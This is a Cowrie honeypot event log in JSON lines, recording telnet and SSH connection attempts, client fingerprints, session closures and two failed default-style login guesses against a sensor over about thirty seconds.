{"eventid":"cowrie.session.closed","duration":31.02792453765869,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:11.344099Z","src_ip":"114.23.51.89","session":"04d195e16ea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":51002,"dst_ip":"159.203.135.109","dst_port":23,"session":"896e63d9eff0","protocol":"telnet","message":"New connection: 185.207.250.135:51002 (159.203.135.109:23) [session: 896e63d9eff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:11.389461Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":51096,"dst_ip":"159.203.135.109","dst_port":23,"session":"cac217b4d5af","protocol":"telnet","message":"New connection: 185.207.250.135:51096 (159.203.135.109:23) [session: cac217b4d5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:11.481951Z"}
{"eventid":"cowrie.session.closed","duration":31.310678243637085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:11.571816Z","src_ip":"114.23.51.89","session":"d5aebcd876d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":48238,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbe3556cea34","protocol":"telnet","message":"New connection: 23.254.167.244:48238 (159.203.135.109:23) [session: dbe3556cea34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:11.809058Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":51748,"dst_ip":"159.203.135.109","dst_port":23,"session":"0142cebf92f6","protocol":"telnet","message":"New connection: 185.207.250.135:51748 (159.203.135.109:23) [session: 0142cebf92f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:12.113813Z"}
{"eventid":"cowrie.session.closed","duration":31.607589721679688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:12.174948Z","src_ip":"23.254.167.244","session":"8edf59d7e2a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87742805480957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:12.357988Z","src_ip":"185.207.250.135","session":"a223c59b617e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.771987676620483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:13.297491Z","src_ip":"114.23.51.89","session":"c3954116afde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.487411975860596,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:13.733523Z","src_ip":"114.23.51.89","session":"ec1152a755dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.356938362121582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:13.769079Z","src_ip":"185.207.250.135","session":"5223ffa746a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53978,"dst_ip":"159.203.135.109","dst_port":23,"session":"4192f800e1b9","protocol":"telnet","message":"New connection: 114.23.51.89:53978 (159.203.135.109:23) [session: 4192f800e1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:14.826921Z"}
{"eventid":"cowrie.session.closed","duration":30.38703966140747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:15.825681Z","src_ip":"176.65.149.254","session":"c04bb1016f9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43866491317749,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:16.029034Z","src_ip":"114.23.51.89","session":"b9be1019bf74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.135746240615845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:16.693294Z","src_ip":"114.23.51.89","session":"8aaa58d1c33a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53992,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c96ff9469c8","protocol":"telnet","message":"New connection: 114.23.51.89:53992 (159.203.135.109:23) [session: 3c96ff9469c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:16.786298Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":54002,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1a9f5fb192d","protocol":"telnet","message":"New connection: 114.23.51.89:54002 (159.203.135.109:23) [session: c1a9f5fb192d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:16.801316Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":54008,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a5d48c0d414","protocol":"telnet","message":"New connection: 114.23.51.89:54008 (159.203.135.109:23) [session: 9a5d48c0d414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:17.534694Z"}
{"eventid":"cowrie.session.closed","duration":30.20160460472107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:18.059973Z","src_ip":"185.207.250.135","session":"959c682471e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":59092,"dst_ip":"159.203.135.109","dst_port":23,"session":"691545b589ce","protocol":"telnet","message":"New connection: 185.207.250.135:59092 (159.203.135.109:23) [session: 691545b589ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:19.007801Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":56002,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d6952217a22","protocol":"ssh","message":"New connection: 157.66.34.121:56002 (159.203.135.109:22) [session: 7d6952217a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:19.204996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:19.208973Z","src_ip":"157.66.34.121","session":"7d6952217a22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:19.445561Z","src_ip":"157.66.34.121","session":"7d6952217a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.391969203948975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:19.667113Z","src_ip":"114.23.51.89","session":"32ac2b56ba18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57790,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb71f6759326","protocol":"telnet","message":"New connection: 23.254.167.244:57790 (159.203.135.109:23) [session: eb71f6759326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:20.278210Z"}
{"eventid":"cowrie.login.failed","username":"backups","password":"test123","message":"login attempt [backups/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:20.411708Z","src_ip":"157.66.34.121","session":"7d6952217a22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":60596,"dst_ip":"159.203.135.109","dst_port":23,"session":"d402e914ec1a","protocol":"telnet","message":"New connection: 185.207.250.135:60596 (159.203.135.109:23) [session: d402e914ec1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:20.424793Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59170,"dst_ip":"159.203.135.109","dst_port":23,"session":"e86cdac69aa1","protocol":"telnet","message":"New connection: 23.254.167.244:59170 (159.203.135.109:23) [session: e86cdac69aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:20.995654Z"}
{"eventid":"cowrie.session.closed","duration":30.650801181793213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:21.238009Z","src_ip":"185.207.250.135","session":"ddc7af639a8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:21.646316Z","src_ip":"157.66.34.121","session":"7d6952217a22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":36218,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f49c082dc07","protocol":"telnet","message":"New connection: 114.23.51.89:36218 (159.203.135.109:23) [session: 5f49c082dc07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:21.969491Z"}
{"eventid":"cowrie.session.closed","duration":31.143481969833374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:22.125274Z","src_ip":"185.207.250.135","session":"8c55d1c8cf21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.385594367980957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:22.129805Z","src_ip":"185.207.250.135","session":"5bffa1e0d56a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":34522,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1817ff830c5","protocol":"telnet","message":"New connection: 185.207.250.135:34522 (159.203.135.109:23) [session: d1817ff830c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:22.338083Z"}
{"eventid":"cowrie.session.closed","duration":31.02936029434204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:22.474851Z","src_ip":"185.207.250.135","session":"217ebd6f93de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.958915948867798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:23.125273Z","src_ip":"185.207.250.135","session":"0711a697c12c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33954,"dst_ip":"159.203.135.109","dst_port":23,"session":"7edde10f504d","protocol":"telnet","message":"New connection: 23.254.167.244:33954 (159.203.135.109:23) [session: 7edde10f504d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:23.232578Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":3214,"dst_ip":"10.17.0.5","dst_port":22,"session":"f37e9a3e23e4","protocol":"ssh","message":"New connection: 74.87.117.149:3214 (10.17.0.5:22) [session: f37e9a3e23e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:23.444882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:23.449480Z","src_ip":"74.87.117.149","session":"f37e9a3e23e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.642372608184814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:23.467634Z","src_ip":"114.23.51.89","session":"b98b26ac55fc","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:23.473878Z","src_ip":"74.87.117.149","session":"f37e9a3e23e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cftest","password":"cftest","message":"login attempt [cftest/cftest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:23.605446Z","src_ip":"74.87.117.149","session":"f37e9a3e23e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":36562,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8600f572b2e","protocol":"telnet","message":"New connection: 185.207.250.135:36562 (159.203.135.109:23) [session: a8600f572b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:23.892812Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34920,"dst_ip":"159.203.135.109","dst_port":23,"session":"549a2ce835db","protocol":"telnet","message":"New connection: 23.254.167.244:34920 (159.203.135.109:23) [session: 549a2ce835db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:24.067138Z"}
{"eventid":"cowrie.session.closed","duration":38.798444747924805,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:24.345689Z","src_ip":"23.254.167.244","session":"4b7cdea4ad5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80576515197754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:24.411673Z","src_ip":"114.23.51.89","session":"f8af7e6784ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":36228,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6bed93adfd4","protocol":"telnet","message":"New connection: 114.23.51.89:36228 (159.203.135.109:23) [session: a6bed93adfd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:24.438773Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:24.633110Z","src_ip":"74.87.117.149","session":"f37e9a3e23e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.603150129318237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:25.327932Z","src_ip":"114.23.51.89","session":"90b278d2aaef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.087250471115112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:26.481162Z","src_ip":"185.207.250.135","session":"33f78f7e2618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981731176376343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:28.873720Z","src_ip":"114.23.51.89","session":"98adea476713","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843382358551025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:29.082400Z","src_ip":"185.207.250.135","session":"c5b2c90f20e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":42988,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f27cd701f64","protocol":"telnet","message":"New connection: 114.23.51.89:42988 (159.203.135.109:23) [session: 5f27cd701f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:30.188955Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":42998,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6bfa1837a69","protocol":"telnet","message":"New connection: 114.23.51.89:42998 (159.203.135.109:23) [session: f6bfa1837a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:30.567844Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":43004,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1280bb97ea5","protocol":"telnet","message":"New connection: 114.23.51.89:43004 (159.203.135.109:23) [session: c1280bb97ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:31.713747Z"}
{"eventid":"cowrie.session.closed","duration":30.976749420166016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:32.164696Z","src_ip":"185.207.250.135","session":"551c7d3e5e2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.840219020843506,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:32.426492Z","src_ip":"209.159.146.115","session":"d4c9b7cd9ae8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.648794889450073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:32.435114Z","src_ip":"114.23.51.89","session":"a5ffc5be1c26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854002952575684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:32.512687Z","src_ip":"114.23.51.89","session":"1f578ba878e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":43008,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f1ae25056e1","protocol":"telnet","message":"New connection: 114.23.51.89:43008 (159.203.135.109:23) [session: 9f1ae25056e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:32.579509Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":43018,"dst_ip":"159.203.135.109","dst_port":23,"session":"55b9bb4ba370","protocol":"telnet","message":"New connection: 114.23.51.89:43018 (159.203.135.109:23) [session: 55b9bb4ba370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:33.473965Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":43028,"dst_ip":"159.203.135.109","dst_port":23,"session":"810862b8a7e1","protocol":"telnet","message":"New connection: 114.23.51.89:43028 (159.203.135.109:23) [session: 810862b8a7e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:33.671215Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":43034,"dst_ip":"159.203.135.109","dst_port":23,"session":"b35f982c760a","protocol":"telnet","message":"New connection: 114.23.51.89:43034 (159.203.135.109:23) [session: b35f982c760a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:33.819140Z"}
{"eventid":"cowrie.session.closed","duration":30.72421908378601,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:34.347158Z","src_ip":"114.23.51.89","session":"16557da875a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.677075624465942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:34.566568Z","src_ip":"114.23.51.89","session":"67a59efee81b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.230288982391357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:35.610197Z","src_ip":"114.23.51.89","session":"de4462ff4abb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":43052,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab92eb88f306","protocol":"telnet","message":"New connection: 114.23.51.89:43052 (159.203.135.109:23) [session: ab92eb88f306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:36.030960Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":43040,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0ecc3048976","protocol":"telnet","message":"New connection: 114.23.51.89:43040 (159.203.135.109:23) [session: c0ecc3048976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:36.930566Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":43068,"dst_ip":"159.203.135.109","dst_port":23,"session":"de87e84613fb","protocol":"telnet","message":"New connection: 114.23.51.89:43068 (159.203.135.109:23) [session: de87e84613fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:36.936689Z"}
{"eventid":"cowrie.session.closed","duration":30.72339177131653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:37.456277Z","src_ip":"114.23.51.89","session":"e973c81033fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":50582,"dst_ip":"159.203.135.109","dst_port":23,"session":"06fe4d8eefc6","protocol":"telnet","message":"New connection: 185.207.250.135:50582 (159.203.135.109:23) [session: 06fe4d8eefc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:37.709235Z"}
{"eventid":"cowrie.session.closed","duration":30.981906175613403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:38.183054Z","src_ip":"114.23.51.89","session":"81d4a6a5b036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.103598594665527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:38.582113Z","src_ip":"114.23.51.89","session":"01139bece7c0","protocol":"telnet"}
